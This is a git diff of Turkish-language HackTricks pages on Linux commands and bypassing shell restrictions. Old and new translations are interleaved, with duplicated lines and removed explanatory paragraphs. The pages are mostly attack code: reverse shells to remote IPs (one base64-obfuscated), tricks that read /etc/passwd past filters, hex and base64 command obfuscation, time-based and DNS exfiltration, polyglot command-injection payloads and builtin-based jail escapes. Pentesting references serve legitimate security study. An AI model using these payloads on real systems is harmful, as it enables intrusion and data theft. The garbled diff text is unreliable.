Nmap hakkında daha fazla bilgi için, Nmap'in resmi belgelerine başvurabilirsiniz.
```bash ```bash
#Nmap scripts ((default or version) and smb)) #Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*" nmap --script-help "(default or version) and *smb*"
@ -358,86 +329,16 @@ nmap --script-help "(default or version) and smb)"
``` ```
## Bash ## Bash
Bash, kısaltması "Bourne Again Shell" olan bir Unix kabuk programıdır. Bash, Linux ve diğer Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan bir kabuktur. Bash, kullanıcıların komutları çalıştırmasına, betikler yazmasına ve sistemle etkileşimde bulunmasına olanak tanır. ## Bash
### Temel Komutlar
- `ls`: Mevcut dizindeki dosya ve dizinleri listeler.
- `cd`: Dizin değiştirir.
- `pwd`: Mevcut çalışma dizinini gösterir.
- `mkdir`: Yeni bir dizin oluşturur.
- `rm`: Dosya veya dizinleri siler.
- `cp`: Dosyaları veya dizinleri kopyalar.
- `mv`: Dosyaları veya dizinleri taşır veya yeniden adlandırır.
- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir.
- `grep`: Belirli bir metni dosyalarda veya çıktılarda arar.
- `chmod`: Dosya veya dizinlerin izinlerini değiştirir.
- `chown`: Dosya veya dizinlerin sahiplerini değiştirir.
- `chgrp`: Dosya veya dizinlerin gruplarını değiştirir.
- `sudo`: Root (süper kullanıcı) olarak komutları çalıştırır.
- `su`: Kullanıcı hesabını değiştirir.
### Dosya İşlemleri
- `touch`: Yeni bir dosya oluşturur veya mevcut bir dosyanın zaman damgasını günceller.
- `cat`: Dosyanın içeriğini görüntüler veya dosyaları birleştirir.
- `head`: Dosyanın başlangıcını görüntüler.
- `tail`: Dosyanın sonunu görüntüler.
- `less`: Dosyanın içeriğini sayfa sayfa görüntüler.
- `wc`: Dosyanın satır, kelime ve karakter sayısını verir.
- `sort`: Dosyanın satırlarını sıralar.
- `uniq`: Dosyanın ardışık tekrarlanan satırlarını kaldırır.
- `cut`: Dosyanın belirli bir bölümünü keser.
- `paste`: Dosyaları birleştirir.
- `diff`: İki dosya arasındaki farkları gösterir.
### Ağ İşlemleri
- `ping`: Bir IP adresine veya alan adına ping atar.
- `ifconfig`: Ağ arayüzlerinin yapılandırmasını görüntüler veya değiştirir.
- `netstat`: Ağ bağlantılarını ve bağlantı noktalarını görüntüler.
- `ssh`: Uzak bir sunucuya güvenli bir şekilde bağlanır.
- `scp`: Dosyaları güvenli bir şekilde kopyalar.
- `wget`: İnternet üzerinden dosyaları indirir.
- `curl`: İnternet üzerindeki kaynaklara istek gönderir ve yanıtları alır.
### Süreç İşlemleri
- `ps`: Çalışan süreçleri listeler.
- `top`: Sistemdeki süreçleri gerçek zamanlı olarak izler.
- `kill`: Bir süreci sonlandırır.
- `bg`: Bir süreci arka planda çalıştırır.
- `fg`: Bir süreci ön plana alır.
- `nohup`: Bir süreci bağlantıyı kapatmadan arka planda çalıştırır.
### Diğer Kullanışlı Komutlar
- `history`: Komut geçmişini görüntüler.
- `alias`: Komutlara takma adlar verir.
- `man`: Bir komutun kullanımını ve belgelerini görüntüler.
- `which`: Bir komutun tam yolunu gösterir.
- `find`: Dosya ve dizinleri arar.
- `tar`: Dosyaları sıkıştırır veya açar.
- `gzip`: Dosyaları sıkıştırır veya açar.
- `sed`: Metin dönüşümleri yapar.
- `awk`: Metin işleme ve raporlama yapar.
Bu sadece birkaç temel Bash komutudur. Bash hakkında daha fazla bilgi edinmek için `man bash` komutunu kullanabilirsiniz.
```bash ```bash
#All bytes inside a file (except 0x20 and 0x00) #All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
``` ```
## Iptables ## Iptables
Iptables, Linux işletim sistemlerinde kullanılan bir güvenlik duvarı aracıdır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve port tabanlı paket yönlendirme gibi işlevleri gerçekleştirebilir. Aşağıda, Iptables'in temel kullanımı için bazı komutlar bulunmaktadır: ### İptables Hakkında
- `iptables -L`: Mevcut kuralları ve zincirleri listeler. İptables, Linux işletim sisteminde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Bu araç, ağ trafiğini kontrol etmek ve yönlendirmek için kullanılır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve portu değiştirme gibi işlemleri gerçekleştirebilir. Güvenlik duvarı kurallarını yapılandırmak için genellikle komut satırı arayüzü kullanılır.
- `iptables -F`: Tüm kuralları ve zincirleri temizler.
- `iptables -A <chain> -p <protocol> --dport <port> -j <action>`: Belirli bir zincire yeni bir kural ekler. `<chain>` zincir adını, `<protocol>` protokol türünü, `<port>` hedef port numarasını ve `<action>` ise kuralın ne yapacağını belirtir.
- `iptables -D <chain> <rule_number>`: Belirli bir zincirden bir kuralı siler. `<chain>` zincir adını ve `<rule_number>` ise silinecek kuralın numarasını belirtir.
- `iptables -P <chain> <policy>`: Belirli bir zincirin varsayılan politikasını ayarlar. `<chain>` zincir adını ve `<policy>` ise varsayılan politikayı belirtir.
Daha fazla bilgi için, `man iptables` komutunu kullanabilirsiniz.
```bash ```bash
#Delete curent rules and chains #Delete curent rules and chains
iptables --flush iptables --flush
@ -470,22 +371,22 @@ iptables -P OUTPUT ACCEPT
``` ```
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,28 +1,28 @@
# Linux Kısıtlamalarını Aşma # Linux Kısıtlamalarını Atlatma
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturup otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ortak Kısıtlamaları Aşma Yöntemleri ## Yaygın Kısıtlamaları Atlatma
### Ters Kabuk ### Ters Kabuk
```bash ```bash
@ -31,12 +31,6 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
``` ```
### Kısa Rev shell ### Kısa Rev shell
```bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```
Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtilen IP adresi ve port numarasına yönlendirir. Bu şekilde, saldırgan hedef sistemde komutları çalıştırabilir ve veri alışverişi yapabilir.
```bash ```bash
#Trick from Dikline #Trick from Dikline
#Get a rev shell with #Get a rev shell with
@ -44,25 +38,7 @@ Bu komut, hedef sistemde bir tersine kabuk oluşturur ve bağlantıyı belirtile
#Then get the out of the rev shell executing inside of it: #Then get the out of the rev shell executing inside of it:
exec >&0 exec >&0
``` ```
### Yolları Geçme ve Yasaklı Kelimeler ### Yolları Atlayın ve yasaklı kelimeleri geçin
Bazı durumlarda, hedef sistemdeki kısıtlamaları aşmak için belirli yolları veya yasaklı kelimeleri kullanmanız gerekebilir. İşte bu tür durumlar için bazı yöntemler:
#### Yolları Geçme
- **Yol Değiştirme**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `/bin/bash` yerine `/usr/bin/bash` kullanarak kısıtlamaları atlatabilirsiniz.
- **Yol Değiştirme İle Komut Çalıştırma**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için başka bir yolla çalıştırabilirsiniz. Örneğin, `ls` yerine `/bin/ls` kullanarak kısıtlamaları atlatabilirsiniz.
- **Yol İçeren Komutlar**: Hedef sistemdeki bir komutu, kısıtlamaları aşmak için yol içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(which ls)` kullanarak `ls` komutunu çalıştırabilirsiniz.
#### Yasaklı Kelimeleri Geçme
- **Yasaklı Kelimeleri Değiştirme**: Hedef sistemdeki bir komutu, yasaklı kelimeleri değiştirerek çalıştırabilirsiniz. Örneğin, `cat` yerine `c\at` kullanarak yasaklı kelimeyi atlatabilirsiniz.
- **Yasaklı Kelimeleri İçeren Komutlar**: Hedef sistemdeki bir komutu, yasaklı kelimeleri içeren bir komutla çalıştırabilirsiniz. Örneğin, `$(echo c\at)` kullanarak `cat` komutunu çalıştırabilirsiniz.
Bu yöntemler, hedef sistemin kısıtlamalarını aşmanıza yardımcı olabilir. Ancak, bu tür işlemleri gerçekleştirirken dikkatli olmalı ve yasalara uygun olarak hareket etmelisiniz.
```bash ```bash
# Question mark binary substitution # Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping /usr/bin/p?ng # /usr/bin/ping
@ -118,16 +94,6 @@ whoa # This will throw an error
!-1!-2 # This will execute whoami !-1!-2 # This will execute whoami
``` ```
### Yasaklı boşlukları atlayın ### Yasaklı boşlukları atlayın
Bazı durumlarda, bir komutu çalıştırmak için yasaklanmış karakterlerden kaçınmanız gerekebilir. Bu durumda, yasaklı boşlukları atlamak için aşağıdaki yöntemleri kullanabilirsiniz:
- **Yatay Tab (Tab)**: Komutu tamamlamak için yatay sekme karakterini kullanabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra yatay sekme karakterini ekleyebilirsiniz.
- **Dikey Tab (Vertical Tab)**: Dikey sekme karakterini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra dikey sekme karakterini ekleyebilirsiniz.
- **Unicode Karakterleri**: Unicode karakterlerini kullanarak yasaklı boşlukları atlayabilirsiniz. Örneğin, `ls` komutunu çalıştırmak için `l` harfini yazdıktan sonra bir Unicode karakteri ekleyebilirsiniz.
Bu yöntemler, yasaklı boşlukları atlamak için kullanılabilecek bazı basit tekniklerdir. Ancak, her durumda işe yaramayabilir ve kullanılabilirlikleri sistem yapılandırmasına bağlı olabilir.
```bash ```bash
# {form} # {form}
{cat,lol.txt} # cat lol.txt {cat,lol.txt} # cat lol.txt
@ -160,135 +126,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a uname!-1\-a # This equals to uname -a
``` ```
### Ters bölü ve bölü işaretlerini atlatma ### Ters eğik çizgi ve eğik çizgiyi atlatma
Bazı durumlarda, bir komutu çalıştırmak için ters bölü (\) veya bölü (/) işaretlerini atlatmanız gerekebilir. İşte bu işaretleri atlatmanın bazı yöntemleri:
- Ters bölü işaretini atlatmak için, komutunuzda ters bölü işaretinden önce başka bir ters bölü işareti ekleyin. Örneğin, `ls \\-l` komutunu kullanarak `ls -l` komutunu çalıştırabilirsiniz.
- Bölü işaretini atlatmak için, komutunuzda bölü işaretinden önce ters bölü işareti ekleyin. Örneğin, `cd \/tmp` komutunu kullanarak `cd /tmp` komutunu çalıştırabilirsiniz.
Bu yöntemler, ters bölü ve bölü işaretlerini atlatmanıza yardımcı olacaktır.
```bash ```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
``` ```
### Pipe'ları Atlatma ### Boruları Atlayın
Bazı durumlarda, bir komutun çıktısını başka bir komuta yönlendirmek için pipe (`|`) kullanmak engellenebilir. Ancak, bu engellemeyi aşmanın bazı yolları vardır.
#### 1. Process Substitution (İşlem Yerine Koyma)
Process substitution, bir komutun çıktısını bir dosya gibi işlemek için kullanılır. Bu yöntem, pipe kullanmadan komutlar arasında veri akışını sağlar.
```bash
command1 <(command2)
```
Örnek:
```bash
cat <(ls)
```
#### 2. Named Pipes (Adlandırılmış Pipe'lar)
Named pipes, bir dosya gibi davranan özel bir dosya türüdür. Bu yöntemle, bir komutun çıktısı bir named pipe'a yönlendirilir ve başka bir komut da bu named pipe'dan veri alır.
```bash
mkfifo /tmp/pipe
command1 > /tmp/pipe &
command2 < /tmp/pipe
```
Örnek:
```bash
mkfifo /tmp/pipe
ls > /tmp/pipe &
cat < /tmp/pipe
```
#### 3. Process Substitution with Named Pipes (İşlem Yerine Koyma ile Adlandırılmış Pipe'lar)
Process substitution ve named pipes yöntemleri birleştirilerek, pipe kullanmadan komutlar arasında veri akışı sağlanabilir.
```bash
command1 <(command2 > /tmp/pipe) < /tmp/pipe
```
Örnek:
```bash
cat <(ls > /tmp/pipe) < /tmp/pipe
```
#### 4. File Descriptor Manipulation (Dosya Tanımlayıcı Manipülasyonu)
Dosya tanımlayıcı manipülasyonu, bir komutun çıktısını bir dosya tanımlayıcısına yönlendirmek için kullanılır. Bu yöntemle, pipe kullanmadan komutlar arasında veri akışı sağlanabilir.
```bash
command1 3>&1 1>&2 2>&3 | command2
```
Örnek:
```bash
ls 3>&1 1>&2 2>&3 | cat
```
#### 5. Shell Variable (Kabuk Değişkeni)
Bazı durumlarda, bir komutun çıktısını bir shell değişkenine atayarak pipe engellemesi aşılabilir.
```bash
variable=$(command)
```
Örnek:
```bash
files=$(ls)
```
Bu yöntemle, `variable` adlı bir shell değişkeni oluşturulur ve `command` komutunun çıktısı bu değişkene atanır.
#### 6. Temporary File (Geçici Dosya)
Bir komutun çıktısını bir geçici dosyaya yönlendirmek ve başka bir komutun bu dosyadan veri almasını sağlamak da bir seçenektir.
```bash
command1 > /tmp/file
command2 < /tmp/file
```
Örnek:
```bash
ls > /tmp/file
cat < /tmp/file
```
Bu yöntemle, `command1` komutunun çıktısı `/tmp/file` adlı bir geçici dosyaya yönlendirilir ve `command2` komutu bu dosyadan veri alır.
```bash ```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
``` ```
### Hex kodlama ile atlatma ### Onaltılık kodlama ile atlatma
Bazı durumlarda, bir komutun yasaklandığı veya engellendiği bir senaryoda, komutu hex kodlamasıyla atlatmak mümkün olabilir. Bu yöntem, komutun karakterlerini hex değerlerine dönüştürerek çalışır.
Örneğin, `ls` komutunu hex kodlamasıyla atlatmak için aşağıdaki adımları izleyebilirsiniz:
1. `ls` komutunu hex değerlerine dönüştürün:
```
echo -e "\x6c\x73"
```
2. Hex değerlerini bir komut olarak çalıştırın:
```
$(echo -e "\x6c\x73")
```
Bu şekilde, `ls` komutunu hex kodlamasıyla atlatarak çalıştırabilirsiniz. Bu yöntem, bazı durumlarda etkili olabilir, ancak her zaman işe yaramayabilir.
```bash ```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -299,100 +146,27 @@ xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)` cat `xxd -r -ps <(echo 2f6574632f706173737764)`
``` ```
### IP'leri Atlatma ### IP'leri Atlatma
Bazı durumlarda, belirli IP adreslerini atlatmak gerekebilir. Bu, bir hedef sistemdeki IP tabanlı kısıtlamaları aşmanın bir yoludur. İşte bazı kullanışlı komutlar:
#### Proxy Kullanarak IP Atlatma
Bir proxy sunucusu kullanarak IP adresinizi gizleyebilir ve hedef sistemdeki IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak proxy sunucusu üzerinden bağlantı kurabilirsiniz:
```bash
export http_proxy=http://<proxy_ip>:<proxy_port>
export https_proxy=http://<proxy_ip>:<proxy_port>
```
#### IP Adresini Değiştirme
IP adresinizi değiştirerek IP tabanlı kısıtlamaları atlayabilirsiniz. Bunun için aşağıdaki komutları kullanabilirsiniz:
```bash
sudo ifconfig eth0 <new_ip_address> netmask <netmask>
```
#### IP Adresini Görmezden Gelme
Bazı durumlarda, hedef sistemdeki IP tabanlı kısıtlamaları atlamak için IP adresinizi tamamen görmezden gelebilirsiniz. Aşağıdaki komutu kullanarak bu işlemi gerçekleştirebilirsiniz:
```bash
sudo iptables -A INPUT -s <your_ip_address> -j DROP
```
Bu komut, belirtilen IP adresinden gelen tüm giriş trafiğini engeller.
#### IP Adresini Sahteleyerek Atlatma
IP adresinizi sahteleyerek IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz:
```bash
sudo iptables -t nat -A POSTROUTING -j SNAT --to-source <fake_ip_address>
```
Bu komut, çıkış trafiğindeki IP adresinizi belirtilen sahte IP adresiyle değiştirir.
#### IP Adresini Yönlendirme ile Atlatma
IP adresinizi yönlendirme kullanarak IP tabanlı kısıtlamaları atlayabilirsiniz. Aşağıdaki komutları kullanarak bu işlemi gerçekleştirebilirsiniz:
```bash
sudo iptables -t nat -A PREROUTING -d <destination_ip_address> -j DNAT --to-destination <new_ip_address>
```
Bu komut, belirli bir hedef IP adresine yönlendirilen trafiği, belirtilen yeni IP adresine yönlendirir.
```bash ```bash
# Decimal IPs # Decimal IPs
127.0.0.1 == 2130706433 127.0.0.1 == 2130706433
``` ```
### Zaman tabanlı veri sızdırma ### Zaman tabanlı veri sızdırma
Bazı durumlarda, hedef sistemdeki verileri doğrudan çıkaramazsınız. Ancak, zaman tabanlı bir veri sızdırma tekniği kullanarak verileri yavaşça sızdırabilirsiniz. Bu teknik, hedef sistemdeki verileri küçük parçalara böler ve her parçayı belirli bir zaman aralığında gönderir.
Bu teknik için aşağıdaki adımları izleyebilirsiniz:
1. Verileri küçük parçalara bölün: Hedef sistemdeki verileri küçük parçalara bölmek için bir yöntem kullanın. Örneğin, bir metin dosyasını satır satır bölebilirsiniz.
2. Veri parçalarını gönderin: Her veri parçasını belirli bir zaman aralığında gönderin. Bu, hedef sistemdeki ağ trafiğini minimumda tutarak tespit edilme olasılığını azaltır.
3. Verileri birleştirin: Veri parçalarını almak için bir alıcı tarafı oluşturun ve gönderilen veri parçalarını birleştirin. Bu, orijinal veriyi elde etmenizi sağlar.
Bu teknik, hedef sistemdeki verileri yavaşça sızdırmanıza olanak tanır ve tespit edilme olasılığını azaltır. Ancak, verilerin sızdırılması zaman alabilir ve dikkatlice planlanması gereken bir süreçtir.
```bash ```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
``` ```
### Ortam Değişkenlerinden Karakterleri Almak ### Çevresel Değişkenlerden Karakterler Almak
Bazı durumlarda, bir kabuk betiği içindeki bazı karakterleri almak için ortam değişkenlerini kullanabilirsiniz. Bu, bazı kısıtlamaları aşmanıza yardımcı olabilir.
Bir ortam değişkeninden karakter almak için aşağıdaki komutu kullanabilirsiniz:
```bash
echo -e "Karakterler: \x24\x28\x65\x63\x68\x6F\x20\x2D\x65\x20\x27\x5C\x78\x32\x34\x27\x29"
```
Bu komut, `$(` ve `)` karakterlerini almak için `echo` komutunu kullanır. `\x` önekini kullanarak ASCII değerlerini temsil ederiz. Bu şekilde, kısıtlamaları aşmak için gerekli karakterleri alabilirsiniz.
Bu yöntem, bazı durumlarda kısıtlamaları aşmanıza yardımcı olabilir, ancak her zaman işe yaramayabilir.
```bash ```bash
echo ${LS_COLORS:10:1} #; echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/ echo ${PATH:0:1} #/
``` ```
### DNS veri sızdırma ### DNS verisi dışa aktarma
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz. Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
### Yerleşik Fonksiyonlar ### Dahili Komutlar
Eğer harici fonksiyonları çalıştıramaz ve sadece **sınırlı bir dizi yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'den alınmıştır.\ Dış işlevleri yürütemezsiniz ve yalnızca bir **sınırlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanışlı hileler vardır**. Genellikle **tüm dahili komutları kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
İlk olarak, tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Ardından, işte bazı **öneriler**: Öncelikle tüm [**kabuk dahili komutlarını**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Sonra işte size bazı **tavsiyeler**:
```bash ```bash
# Get list of builtins # Get list of builtins
declare builtins declare builtins
@ -444,61 +218,24 @@ chmod +x [
export PATH=/tmp:$PATH export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello! if [ "a" ]; then echo 1; fi # Will print hello!
``` ```
### Poliglot komut enjeksiyonu ### Çok dilli komut enjeksiyonu
Polyglot komut enjeksiyonu, birden fazla programlama dilinde geçerli olan bir komutu hedef sisteme enjekte etmek için kullanılan bir tekniktir. Bu teknik, hedef sistemin birden fazla programlama dilini desteklemesi durumunda kullanılabilir. Poliglot komut enjeksiyonu, hedef sisteme zarar vermek veya yetkisiz erişim elde etmek için kullanılabilir. Bu nedenle, sistemlerin bu tür saldırılara karşı korunması önemlidir.
```bash ```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
``` ```
### Potansiyel regexleri atlayın ### Potansiyel regexleri atlayın
Bazı durumlarda, bir komutun çalışmasını engellemek için kullanılan regex desenlerini atlamak gerekebilir. Aşağıda, bu tür bir durumu atlamak için kullanılabilecek bazı teknikler bulunmaktadır:
- **Karakter Kaçışı**: Regex deseninde kullanılan özel karakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\$` şeklinde bir desen, `$` karakterini aramak yerine deseni atlar.
